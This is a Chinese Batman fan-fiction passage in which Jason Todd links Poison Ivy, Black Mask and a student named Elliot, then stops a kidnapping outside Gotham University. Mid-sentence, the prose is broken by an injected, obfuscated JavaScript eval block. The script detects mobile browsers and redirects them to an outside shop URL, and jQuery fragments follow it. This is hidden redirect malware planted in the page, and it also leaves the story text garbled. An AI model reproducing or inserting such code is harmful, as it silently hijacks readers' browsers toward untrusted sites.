蓝色的光停在那一行名字上,没有闪烁,也没有跳转。系统安静地等待下一条指令,像是在确认使用者是否还需要它继续。
杰森站在控制台前,没坐。他知道自己一坐下就会被那套“流程”拖慢——查证、归类、建模、再推演,那是布鲁斯的节奏。杰森的节奏更街头,闻到不对劲,先把手伸进火里抓出东西再说。
他伸手,把监护信息那一栏最小化,没有关掉。那行字缩成一个不起眼的标签,停在屏幕角落,却像一根刺,始终在视野范围内。
哥谭大学。
那几个被他标记过的异常点重新亮起。温棚、生物楼、后勤通道,权限变动的时间并不密集,规律得让人十分容易钻空子。总会有人知道什么时候该进,什么时候该退。
克莱恩近一年冒头太快,像一只从地下钻出来的虫子,带着恐惧毒气。实验、配方、试剂流向……每一条线索看起来都散,散得像海滩上数以亿计沙粒。但是任何事物都有规律,关键物总会缺少那么一角,比如永远差一个“正规渠道能拿到、黑市拿不到”的东西
迪克之前说过一句话。
——“他可能帮过她。”
那句话当时被轻描淡写地带过去,像是随口的补充。
如果有人需要一个既合法、又能接触到大量植物样本的地方,哥谭大学是最合适的选择。温室、实验楼、通道多、夜间人少。
而 Elliot 出现在那里。
不是作为目标,而是作为——协助者。
这条线已经连起来了。
如果毒藤女需要“东西”,而她本人不适合频繁露面,那么由一个看起来毫无威胁、合法出入校园的人来协助,是最自然的选择。
Elliot。
而迪克说过,他帮过她。
杰森的手指在控制台上轻轻敲了一下。
那火呢?
他重新调出考文垂的现场资料。
火不属于毒藤女的手笔。
火是销毁证据覆盖痕迹的工具。干脆,省事,一次性把线索焚成灰。
谁需要收尾?
谁只在乎把某些痕迹抹掉?
时间范围缩到事发前后两小时,地点锁定在考文垂周边三条主路。屏幕上跳出一长串记录,杰森迅速筛掉合法通行的车辆,把注意力集中在几辆反复出现、却没有固定目的地的车上。
其中一辆,引起了他的注意。
他点开记录,继续往下挖。
换车频率。
路线重复。
驾驶员信息模糊。
杰森盯着那串数据,嘴角勾了一下。
熟得不能再熟了。
他调出另一份档案。
Black Mask。
同型号的车,同样的处理方式。
杰森把关键词丢进检索:植物、抗性、毒气、配方、除草剂、温棚、试剂库、门禁异常。系统嗡地一声运算,像水流一样把碎片推上来——几笔被拆分过的采购申请;几次夜间权限短暂开放;一份本该封存的研究记录被复制实验过;还有一条更隐蔽的:温棚设备维护单里,多了一项“营养液配比测试”的耗材报销。
它们都卡在毒藤女首次被目击前后,像一条悄悄铺好的轨道。杰森顺着轨道往回推,推到一个结论:毒藤女在校园里“取过东西”,而且取的东西对她有用,对克莱恩也有用。
一个供应。
一个执行。
一个收尾。
而 Elliot——
杰森的手指停在键盘上。
他意识到一件事。
如果火是黑面具的手笔,那么 Elliot 住的那栋楼,被烧掉的不是“目标”,而是“变量”。
有人不想让他继续待在考文垂。
也就是说——
他有危险。
杰森几乎是原地跳了起来。
他没有再查下去。够了。再多的数据只会拖慢节奏。
他已经知道要去哪里。
哥谭大学。
他转身,抄起放在栏杆边的装备腰包。
金属扣“咔哒”一声合上,声音在洞里显得格外清晰。杰森跳上平台,抓住滑索,身体一送,整个人顺着轨道冲进夜色里。
风迎面扑上来。
夜巡开始了。
哥谭大学在夜里很安静。
杰森落在生物楼对面的屋顶,半蹲着稳住重心。混凝土在夜里返潮,鞋底压上去时几乎没有声音。他没有立刻动,先让视线适应黑暗,把整片区域重新拆解一遍。
远处传来引擎声。
不是校园巡逻车的声音,频率太低,也太稳。杰森立刻转身,顺着声音方向看过去。
一辆车。
车灯没全开,只亮了最低档,贴着校区外围走。路线不绕,速度很慢,像是在避免引起注意,一点都不着急。
他见过这种车。
不是第一次。
杰森几乎是本能地眯起眼睛,心跳在那一瞬间提了一下。通讯器贴在颌侧,他没有开口说完整句子,只压低声音报了三个要素——
位置、车型、可疑拦截。
这是夜巡里的肌肉记忆。
报警并不意味着交给警察处理。
他已经知道这是谁的车了。
黑面具。
他顺着屋顶边缘滑下去,落地时单膝触地,很快起身,贴着建筑阴影追上去。车没有进地下停车场,而是直接绕到货运通道那一侧。
杰森的胃沉了一下。
不对劲。
他没再等。
他从高处跃下,落地的声音被引擎盖掩住。他贴着车侧跑了两步,借力踹向车身。
撞击比他预想的重。
车被迫减速,方向偏了一下,轮胎尖叫。驾驶位骂了一句,刚要踩死油门,第二下用工具的冲击就已经砸在侧面。
停。
杰森的判断从不拖泥带水。
车停住的瞬间,他已经抓住车门边缘。锁扣被他用棍子硬生生撬开,金属断裂的声音在夜里显得刺耳。
门被拉开的那一刻,冷风灌进去。
他第一眼看到的不是武器。
是人。
被捆着的、被按在车里的、还在动的那个人。
还活着。
这一点比什么都重要。
刀光在他视野边缘闪了一下。
杰森没有犹豫。
他一脚踹向那只握刀的手腕。角度很刁,力道也狠,刀脱手的声音清脆得让人心安。紧接着膝盖顶腹、肘击补上,对方连惨叫都没来得及发出来,就已经被他抓着后颈甩向车外。
他听见自己低声说了一句:
“黑面具的车。”
不是解释,是确认。
确认自己没拦错。
然后他才真正看向车里。
那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116928|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人在看他。
不是恐慌,不是失神,是那种已经把情况拆解完、正在判断下一步的眼神。手腕被扎带勒得发红,呼吸有点乱,但意识清醒。
操。
杰森心里骂了一句。
不是因为对方状态差,是因为——
对方状态还蛮好。
这不是一个“普通被绑架的人”该有的反应。
“你怎么会在这?”
这句话冲得很,他自己都听得出来。但他控制不了。他需要确认,需要对方回应,需要知道这个人现在还能不能站着、还能不能动、有没有被下药。
“他们要绑架我。”
回答很冷静了。
杰森下意识磨了下牙。
“我看出来了。”
他说完这句,已经转身跳下车。
外面还有人。
脚步声不止一个。
他没有回头再看车里那个人一眼,但耳朵一直留着那边的动静——有没有挣扎声,有没有倒下声,有没有不该出现的声音。
拳头落在骨头上的触感很熟。
他不去数击倒了几个,只在乎有没有人还能站着靠近那辆车。短棍敲在手臂神经点上,对方瞬间失去力气;膝外侧被踢,腿直接垮下去;最后一个试图从背后靠近的,被他反手敲倒在车侧。
清场。
他这才回头。
那个人已经在动了。
不是等他解,是在自救。
扎带被割断的声音很轻,但在杰森耳朵里异常清楚。他看到那个人甩开束缚,从车里下来,动作利落,站得很稳。
好。
这声不是说出口的,是他心里冷哼的。
“站我后面。”
他说这句话的时候,语气比刚才更冷。
这是他下意识的身体反应。
那个人听了。
真的站到了他斜后方。
杰森能感觉到对方的视线落在自己身上,但他没回头。他需要确保场面完全干净。
最后一个黑面具手下试图爬起来。
杰森一脚踩回去,力道控制得刚好,不会把人踩死,但也绝对爬不起来。
“要是能从警局里出来,”他说,“告诉你老板,别再用这辆车跑街。”
那人疼得只剩下抽气。
杰森这才转身,看向那个人。
第一眼落在手腕。
血。
勒痕很深,但不像骨折。他盯了一秒,确认没有明显变形,才移开视线。
“能走?”
“能。”
回答很快。
没有逞强的语气。
“那走。”
他转身就走,没有等。
不是不在乎,是再多停一秒都可能出事。他带着那个人离开车和现场,走出一段距离,才稍微放慢脚步。
他能感觉到对方跟得上。
这点让他心里那股一直绷着的劲,终于松了一点。
路口的灯光压下来,他停住脚步,回头。
“以后大晚上的别自己出来。”
这句话说出口,他自己都知道没什么说服力。
但他还是说了。
不是劝,是交代。
对方点头。
那种“我听见了,但未必照做”的点头。
杰森没再说什么。
他转身离开,披风在夜里划出一条很短的影子。